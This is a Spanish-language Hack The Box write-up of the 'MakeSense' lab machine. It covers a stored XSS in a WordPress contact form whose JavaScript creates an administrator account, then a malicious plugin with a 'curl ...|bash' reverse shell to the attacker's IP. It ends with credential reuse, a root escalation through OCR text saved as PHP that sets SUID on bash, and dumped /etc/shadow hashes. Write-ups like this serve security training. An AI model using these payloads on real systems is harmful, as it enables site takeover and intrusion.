This page looks best with JavaScript enabled

HackTheBox - MakeSense

 •  ✍️ sckull

En MakeSense abusamos de un Stored XSS en un formulario de WordPress que nos permitio la creacion de un usuario administrador, para luego crear y ejecutar un plugin para acceso inicial. Credenciales para la configuracion de base de datos permitieron el acceso a un nuevo usuario. Escalamos privilegios a traves de un sitio web que ejecutaba Tesseract como root y permitia guardar texto a archivos con cualquier extension, esto permitio ejecutar codigo como root en archivos PHP.

Recon

nmap

nmap muestra multiples puertos abiertos: https (443), ssh (22) y filtrados los puertos 80, 8001.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.99 scan initiated Thu Jul  9 01:20:00 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,8001 -sV -sC -oN nmap_scan 10.129.2.80
Nmap scan report for 10.129.2.80
Host is up (0.28s latency).

PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
|_  256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
80/tcp   filtered http
443/tcp  open     ssl/http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
| tls-alpn: 
|_  http/1.1
|_http-title: Agency LLC
|_ssl-date: TLS randomness does not represent time
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
| Not valid before: 2026-05-29T16:37:29
|_Not valid after:  2126-05-05T16:37:29
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul  9 01:20:33 2026 -- 1 IP address (1 host up) scanned in 32.81 seconds

Web Site

El sitio web ofrece soluciones web.

image

Se muestra al equipo, potencialmente nombres de usuarios.

image

Encontramos un formulario de contacto.

image

Web Tech

wappalyzer indica un WordPress como el CMS del sitio.

image

Directory Brute Forcing

feroxbuster muestra contenido relacionado a WordPress.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ feroxbuster -k -u https://makesense.htb -w $CM
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://makesense.htb/
 🚩  In-Scope Url          │ makesense.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       11l       39w      319c https://makesense.htb/wp-content/themes/webagency/style.css
200      GET      121l      264w     2205c https://makesense.htb/wp-content/themes/webagency/assets/css/custom.css
405      GET        1l        6w       42c https://makesense.htb/xmlrpc.php
400      GET        1l        1w        1c https://makesense.htb/wp-admin/admin-ajax.php
200      GET        2l      400w    13577c https://makesense.htb/wp-includes/js/jquery/jquery-migrate.min.js
200      GET        5l       79w    22762c https://makesense.htb/wp-includes/js/wp-emoji-release.min.js
200      GET      576l     1856w    19944c https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
200      GET      586l     1683w    21554c https://makesense.htb/wp-content/themes/webagency/assets/js/main.js
200      GET        3l     1263w    87553c https://makesense.htb/wp-includes/js/jquery/jquery.min.js
200      GET      348l     1601w    34914c https://makesense.htb/
❯ 

WPScan

Se ejecuto wpscan para verificar plugins y temas vulnerables, tambien enumeracion de usuarios. Se indica WordPress version 7.0 y los usuarios: jake, admin y walter, como informacion relevante.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
❯ wpscan --url https://makesense.htb -e vp,u,vt --disable-tls-checks --no-banner
[+] URL: https://makesense.htb/ [10.129.2.80]
[+] Started: Thu Jul  9 01:47:36 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://makesense.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://makesense.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: https://makesense.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://makesense.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 7.0 identified (Latest, released on 2026-05-20).
 | Found By: Meta Generator (Passive Detection)
 |  - https://makesense.htb/, Match: 'WordPress 7.0'
 | Confirmed By: Atom Generator (Aggressive Detection)
 |  - https://makesense.htb/?feed=atom, <generator uri="https://wordpress.org/" version="7.0">WordPress</generator>

[+] WordPress theme in use: webagency
 | Location: https://makesense.htb/wp-content/themes/webagency/
 | Style URL: https://makesense.htb/wp-content/themes/webagency/style.css?ver=7.0
 | Style Name: WebAgency
 | Style URI: https://example.com
 | Description: Modern web development agency theme with Tailwind CSS...
 | Author: WebAgency Team
 | Author URI: https://example.com
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://makesense.htb/wp-content/themes/webagency/style.css?ver=7.0, Match: 'Version: 1.0'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:03:37 <========================================================================================================> (652 / 652) 100.00% Time: 00:03:37
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <==========================================================================================================> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] jake
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] walter
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Jul  9 01:51:35 2026
[+] Requests Done: 1366
[+] Cached Requests: 12
[+] Data Sent: 362.361 KB
[+] Data Received: 22.563 MB
[+] Memory used: 344.184 MB
[+] Elapsed time: 00:03:59
❯

XSS to Admin - WordPress

Tras rellenar el formulario de contacto este muestra un mensaje:

Thank you for contacting us! We will get back to you soon.

Podria indicar una revision de este por parte de algun usuario. Agregamos un tag <script> definiendo un payload XSS.

1
<script src="http://10.10.14.215/a.js"></script>

Se indica un pequeno mensaje antes del envio.

image

Luego obtuvimos solicitudes desde la maquina, es muy posible que sea Stored XSS.

1
2
3
4
5
6
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.2.80 - - [09/Jul/2026 02:09:36] code 404, message File not found
10.129.2.80 - - [09/Jul/2026 02:09:36] "GET /a.js HTTP/1.1" 404 -
10.129.2.80 - - [09/Jul/2026 02:09:37] code 404, message File not found
10.129.2.80 - - [09/Jul/2026 02:09:37] "GET /a.js HTTP/1.1" 404 -

Admin User Creation

A traves del XSS encontrado creamos un nuevo usuario basados en el PoC mostrado en Exploiting an XSS Vulnerability in WordPress to Create an Admin Account: A Proof of Concept. Este realiza la creacion a traves de jQuery con los valores indicados. Creamos el archivo a.js indicando el codigo y realizamos una solicitud con el formulario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
u="/wp-admin/user-new.php";
jQuery.get(u,function(e){
  jQuery.post(u,{
    action:"createuser",
    "_wpnonce_create-user":e.match(/_wpnonce_create-user" value="(.+?)"/)[1],
    user_login:"sckull",
    email:"sckull@htb.htb",
    pass1:"5upp3rDupp3rP455",
    pass2:"5upp3rDupp3rP455",
    role:"administrator"
  });
});

Tras obtener la solicitud, intentamos acceder con las credenciales, clic en This email is correct.

image

Esto nos permitio el acceso al dashboard de Wordpress con el nuevo usuario.

image

WordPress Dashboard

En Contact Submission encontramos todos los formularios enviados.

image

Malicious Plugin

Creamos un plugin para la ejecucion del comando whoami, subimos, activamos y visitamos la URL del archivo PHP para ejecutar el comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ zip zero-plugin.zip -r zero-plugin
updating: zero-plugin/ (stored 0%)
updating: zero-plugin/hello.php (deflated 36%)
❯ unzip -l zero-plugin.zip
Archive:  zero-plugin.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2026-07-09 03:11   zero-plugin/
      348  2026-07-09 03:11   zero-plugin/hello.php
---------                     -------
      348                     2 files
❯ cat zero-plugin/hello.php
<?php
/**
 * Plugin Name:       Hello World Admin Notice
 * Plugin URI:        https://example.com/hello-world
 * Description:       Displays a simple "Hello World!" message at the top of the WordPress Admin Dashboard.
 * Version:           1.0.0
 * Author:            Your Name
 * License:           GPLv2 or later
 */

echo(system("whoami"));
?>
❯ curl -ks https://makesense.htb/wp-content/plugins/zero-plugin/hello.php; echo
www-data
www-data
❯ 

User - www-data

Editamos el plugin a traves del dashboard para la ejecucion de una shell inversa, logrando acceso como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Codigo en plugin:
# echo(system("curl 10.10.14.215:8000/10.10.14.215:1336|bash"));
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.215] from makesense.htb [10.129.2.80] 42474
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/wp-admin
$

User - Walter

Dentro del archivo wp-config.php encontramos credenciales para el usuario walter para una base de datos wordpress de MySQL que no esta siendo utilizada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@makesense:/var/www/html$ cat wp-config.php | grep -v "*"
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );

$table_prefix = 'wp_';
define( 'WP_DEBUG', false );

define('AUTH_KEY',         '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&Gqd~5O/|<^7DmLtEm=SjV|jmWZ');
define('NONCE_KEY',        's>>f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A>99->-$$>UvU');
define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O<CSE4#uPWN.');
define('NONCE_SALT',       'j #rMhd[olj2$j8|QAF7L8rR-D kf&gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');

if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

define( 'WP_SQLITE_PLUGIN', true );
require_once ABSPATH . 'wp-settings.php';
www-data@makesense:/var/www/html$

Dicho usuario existe en la maquina.

1
2
3
4
5
6
7
www-data@makesense:/var/www/html$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
walter:x:1000:1000:walter:/home/walter:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
admin:x:1001:1001:,,,:/home/admin:/bin/bash
www-data@makesense:/var/www/html$

Cambiamos a este con la contrasena logrando el acceso a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
www-data@makesense:/var/www/html$ su walter
Password: JbhHDAEgXvri3!
walter@makesense:/var/www/html$ whoami;id
walter
uid=1000(walter) gid=1000(walter) groups=1000(walter)
walter@makesense:/var/www/html$ cd
walter@makesense:~$ ls
user.txt
walter@makesense:~$ cat user.txt
eaf7115d09658cf5cd3f5a87cc973864
walter@makesense:~$

Las credenciales son validas por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯ nxc ssh makesense.htb -u walter -p 'JbhHDAEgXvri3!'
SSH         10.129.2.80     22     makesense.htb    [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.16
SSH         10.129.2.80     22     makesense.htb    [+] walter:JbhHDAEgXvri3!  Linux - Shell access!
❯ ssh walter@makesense.htb
The authenticity of host 'makesense.htb (10.129.2.80)' can't be established.
ED25519 key fingerprint is: SHA256:ZuPyKYvneacLwQJfW7aR8rIt6ppYCS22aWYI5nO3Ddk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'makesense.htb' (ED25519) to the list of known hosts.
walter@makesense.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)

# [ ... cut ... ]

Last login: Thu Jul 9 07:17:31 2026 from 10.10.14.215
walter@makesense:~$ whoami;id;pwd
walter
uid=1000(walter) gid=1000(walter) groups=1000(walter)
/home/walter
walter@makesense:~$

Privesc

Port Forwarding

Localmente encontramos el puerto 8001 con autenticacion requerida.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
walter@makesense:~$ ss -ntpl
State                 Recv-Q                Send-Q                               Local Address:Port                               Peer Address:Port               Process               
LISTEN                0                     4096                                 127.0.0.53%lo:53                                      0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:8001                                    0.0.0.0:*                                        
LISTEN                0                     511                                        0.0.0.0:443                                     0.0.0.0:*                                        
LISTEN                0                     511                                        0.0.0.0:80                                      0.0.0.0:*                                        
LISTEN                0                     4096                                       0.0.0.0:22                                      0.0.0.0:*                                        
LISTEN                0                     4096                                    127.0.0.54:53                                      0.0.0.0:*                                        
walter@makesense:~$ curl 127.0.0.1:8001
walter@makesense:~$ curl 127.0.0.1:8001;echo
Authentication required.
walter@makesense:~$

Este mismo puerto aparece como un proceso en ejecucion de root como servidor local.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
walter@makesense:/dev/shm$ ps -ef | grep root
# [ ... cut ... ]
root        1078       2  0 05:15 ?        00:00:01 [kworker/1:2H+kblockd]
root        1162       1  0 05:16 ?        00:00:00 /usr/sbin/ModemManager
root        1376       1  0 05:16 ?        00:00:00 /usr/sbin/cron -f -P
root        1379    1376  0 05:16 ?        00:00:00 /usr/sbin/CRON -f -P
root        1392    1379  0 05:16 ?        00:00:00 /bin/sh -c /root/.scripts/start_ocr4.sh
root        1393    1392  0 05:16 ?        00:00:06 /bin/bash /root/.scripts/start_ocr4.sh
root        1404    1393  0 05:16 ?        00:00:00 php -S 127.0.0.1:8001 -t /root/ocr4/
root        1407       1  0 05:16 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1410       1  0 05:16 ?        00:00:04 /usr/sbin/apache2 -k start
root        1733       1  0 05:17 ?        00:00:00 /usr/libexec/upowerd
root        2430       1  0 05:19 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        4733       2  0 05:28 ?        00:00:00 [kworker/u4:1-ext4-rsv-conversion]
root        5654       2  0 05:31 ?        00:00:03 [kworker/0:2-cgroup_free]
root       15015       2  0 06:07 ?        00:00:08 [kworker/1:2-events]
root       21138       2  0 06:30 ?        00:00:00 [kworker/u4:0-events_power_efficient]
root       26407       2  0 06:51 ?        00:00:00 [kworker/1:1-cgroup_free]
root       33416       2  0 07:15 ?        00:00:00 [kworker/u4:2-flush-8:0]
root       33735   33037  0 07:16 pts/0    00:00:00 su walter
root       33741       2  0 07:16 ?        00:00:00 [psimon]
root       34149    2430  0 07:17 ?        00:00:00 sshd: walter [priv]
root       34938    2430  0 07:19 ?        00:00:00 sshd: walter [priv]
walter     36146   34205  0 07:23 pts/1    00:00:00 grep --color=auto root
root       36147    1393  0 07:23 ?        00:00:00 sleep 1
walter@makesense:/dev/shm$

Realizamos port forwarding para obtener el puerto localmente.

1
ssh walter@makesense.htb -L 8001:localhost:8001 -fN

OCR4 - “Draw text. Read it back.”

Las credenciales de walter permitieron el acceso al sitio.

image

Se muestra un ‘formulario’ donde es posible dibujar texto.

image

Este lo reconoce y permite guardar en un archivo.

image

Al guardar un texto este muestra:

Saved as: saved/result.txt

Observamos su contenido bajo saved/result.txt.

1
2
3
❯ curl http://localhost:8001/saved/result.txt
HOL*<
❯

Al procesar un dibujo, pspy muestra la ejecucion de tesseract como root para extraer texto de la imagen.

1
2026/07/09 07:48:06 CMD: UID=0     PID=43458  | tesseract /root/ocr4/tmp/draw_6a4f523660db3.png /root/ocr4/tmp/out_6a4f523660db8

Shell

Para obtener una shell root debemos crear una imagen en texto con codigo PHP. Ya que comprobamos que podemos guardar el contenido del texto con cualquier extension y al ser un servidor PHP esta se ejecutaria. Creamos una imagen con texto en Photoshop con la fuente Comic Sans MS con codigo que incluye un archivo externo <?php include “/tmp/file“; ?>.

image

El archivo externo da permisos SUID a bash.

1
echo "<?php system('chmod +s /usr/bin/bash'); ?>" > /tmp/file

Realizamos la subida de la imagen con curl especificando Cookies + Authorization y obtenemos el OCR_ID, este lo utilizamos para guardar el archivo sh.php para finalmente realizar la solicitud y ejecutar el codigo. La cookie PHPSESSID pertenece a una sesion autenticada.

1
2
3
4
5
6
7
8
# 1 Capture the ID
OCR_ID=$(curl -sX POST http://localhost:8001/ -x http://localhost:8080 -H "Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh" -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' --data-urlencode "canvas_image=data:image/png;base64,$(base64 -w 0 /mnt/hgfs/sharedvm/image.png)" | grep ocr_ | cut -d '"' -f6)

# 2 Save file
curl -isk -x http://localhost:8080 -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh' -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' -d "ocr_id=$OCR_ID&filename=sh.php&save_output=Save" http://localhost:8001

# 3 Trigger execution
curl -H "Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh" -b 'PHPSESSID=gr93kqk6mhnrt52lsp25c095v3' -s http://localhost:8001/saved/sh.php -x http://localhost:8080

Los permisos fueron agregados, ejecutamos con la flag -p logrando acceso root y a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
walter@makesense:/tmp$ ls -lah /usr/bin/bash
-rwsr-xr-x 1 root root 1.4M Mar 31  2024 /usr/bin/bash
walter@makesense:/tmp$ /usr/bin/bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls
ocr4  root.txt
bash-5.2# cat root.txt
2cfcc5eef66a2766068b876f6c6690c7
bash-5.2#

Appendix

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
bash-5.2# cat /etc/shadow
root:$y$j9T$oBMykAbyiOXMRmKow26tM0$k1tS0gbfGLr/iaC9BiWBsKCkC2G129/fuXrB1NZH9v4:20605:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20598::::::
walter:$y$j9T$a2uh7EQC.6xLJwFDk1eN..$LWCFJkjTy2Hqe2qpvMXKy35gQWXhQyKTAYyEEgimEF4:20605:0:99999:7:::
sshd:!:20598::::::
admin:$y$j9T$/LYe2pddj/JHyMJ2OxrTu1$1dijnsIFMoSMX/7I6VLysZWgJj/odHFsPSqcqA/0Qy3:20602:0:99999:7:::
_laurel:!:20602::::::
bash-5.2#

Source Code

Codigo fuente de la aplicacion local PHP.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
bash-5.2# ls -lah
total 36K
drwxr-xr-x  4 root root 4.0K Jul  9 07:20 .
drwx------ 10 root root 4.0K Jul  9 05:16 ..
-rw-r--r--  1 root root  14K Jun  1 14:51 index.php
-rw-r--r--  1 root root  698 May 25 19:40 router.php
drwxr-xr-x  2 root root 4.0K Jul  9 09:46 saved
drwxr-xr-x  2 root root 4.0K Jul  9 10:12 tmp
bash-5.2# cat index.php 
<?php
// ======================================
// AUTHENTICATION
// ======================================
session_start();

$AUTH_USER = 'walter';
$AUTH_PASS = 'JbhHDAEgXvri3!';

if (
    !isset($_SERVER['PHP_AUTH_USER']) ||
    !isset($_SERVER['PHP_AUTH_PW']) ||
    $_SERVER['PHP_AUTH_USER'] !== $AUTH_USER ||
    $_SERVER['PHP_AUTH_PW'] !== $AUTH_PASS
) {
    header('WWW-Authenticate: Basic realm="OCR Protected"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authentication required.';
    exit;
}

// ======================================
// SETUP
// ======================================
$outputText   = '';
$error        = '';
$savedMessage = '';
$ocr_id       = '';

$tmpDir  = __DIR__ . '/tmp';
$saveDir = __DIR__ . '/saved';

if (!is_dir($tmpDir)) mkdir($tmpDir, 0755, true);
if (!is_dir($saveDir)) mkdir($saveDir, 0755, true);

// Initialize OCR session storage
if (!isset($_SESSION['ocr_results'])) {
    $_SESSION['ocr_results'] = [];
}

// ======================================
// HANDLE DRAWN IMAGE OCR
// ======================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['canvas_image'])) {

    $data = $_POST['canvas_image'];

    if (!preg_match('/^data:image\/png;base64,/', $data)) {
        $error = 'Invalid image data.';
    } else {

        $data = str_replace('data:image/png;base64,', '', $data);
        $data = base64_decode($data);

        $imagePath  = $tmpDir . '/' . uniqid('draw_') . '.png';
        $outputBase = $tmpDir . '/' . uniqid('out_');

        file_put_contents($imagePath, $data);

        $command = "tesseract " .
            escapeshellarg($imagePath) . " " .
            escapeshellarg($outputBase);

        exec($command . " 2>&1", $execOutput, $returnCode);

        if ($returnCode !== 0) {
            $error = 'Tesseract failed to process the drawing.';
        } else {
            $textFile = $outputBase . '.txt';
            if (file_exists($textFile)) {
                $outputText = file_get_contents($textFile);

                // Store OCR result server-side
                $ocr_id = uniqid('ocr_', true);
                $_SESSION['ocr_results'][$ocr_id] = $outputText;
            }
        }

        @unlink($imagePath);
        @unlink($outputBase . '.txt');
    }
}

// ======================================
// HANDLE SAVE OUTPUT SECURELY
// ======================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' &&
    isset($_POST['save_output'], $_POST['ocr_id'], $_POST['filename'])) {

    $ocr_id_post = $_POST['ocr_id'];

    if (!isset($_SESSION['ocr_results'][$ocr_id_post])) {
        $error = "Invalid OCR request. Cannot save.";
    } else {
        $outputText = $_SESSION['ocr_results'][$ocr_id_post];

        // Optionally remove OCR from session after save
        unset($_SESSION['ocr_results'][$ocr_id_post]);

        $filename = basename($_POST['filename']);
        $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);


        $filePath = $saveDir . '/' . $filename;
        file_put_contents($filePath, $outputText);

        $savedMessage = "Saved as: saved/$filename";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>MakeSense</title>
    <style>
 <!-- cut -->
    </style>
</head>
<body>

<main class="shell">

    <p class="wordmark">MakeSense</p>

    <h1>Draw text.<br>Read it back.</h1>

    <p class="lede">Sketch a word or short phrase with your cursor or finger. The recognizer returns the plain text, ready to save to a file.</p>

    <div class="canvas-wrap">
        <canvas id="canvas" width="500" height="200"></canvas>
    </div>

    <div class="tools">
        <div class="stroke-group">
            <span class="label">Stroke</span>
            <button type="button" class="stroke-opt" data-w="2">Fine</button>
            <button type="button" class="stroke-opt active" data-w="4">Medium</button>
            <button type="button" class="stroke-opt" data-w="7">Bold</button>
        </div>
        <div class="action-group">
            <button type="button" class="link-btn" onclick="clearCanvas()">Clear</button>
            <button type="button" class="solid-btn" onclick="sendCanvas()">Recognize</button>
        </div>
    </div>

    <form method="post" id="canvasForm" style="display:none;">
        <input type="hidden" name="canvas_image" id="canvas_image">
    </form>

    <?php if ($error): ?>
        <p class="notice error reveal"><?= htmlspecialchars($error) ?></p>
    <?php endif; ?>

    <?php if ($outputText): ?>
        <div class="result-block reveal">
            <p class="caption">Recognized</p>
            <p class="output-text"><?= htmlspecialchars($outputText) ?></p>

            <form method="post">
                <p class="caption">Save as</p>
                <input type="hidden" name="ocr_id" value="<?= htmlspecialchars($ocr_id) ?>">
                <div class="save-row">
                    <input type="text" name="filename" placeholder="result.txt" required>
                    <button type="submit" name="save_output" class="solid-btn">Save</button>
                </div>
            </form>
        </div>
    <?php endif; ?>

    <?php if ($savedMessage): ?>
        <p class="notice success reveal"><?= htmlspecialchars($savedMessage) ?></p>
    <?php endif; ?>

</main>

<script>
const canvas = document.getElementById('canvas');
const ctx = canvas.getContext('2d');
let drawing = false;

ctx.lineWidth = 4;
ctx.lineCap = 'round';
ctx.lineJoin = 'round';
ctx.strokeStyle = '#0a0a0a';

document.querySelectorAll('.stroke-opt').forEach(btn => {
    btn.addEventListener('click', () => {
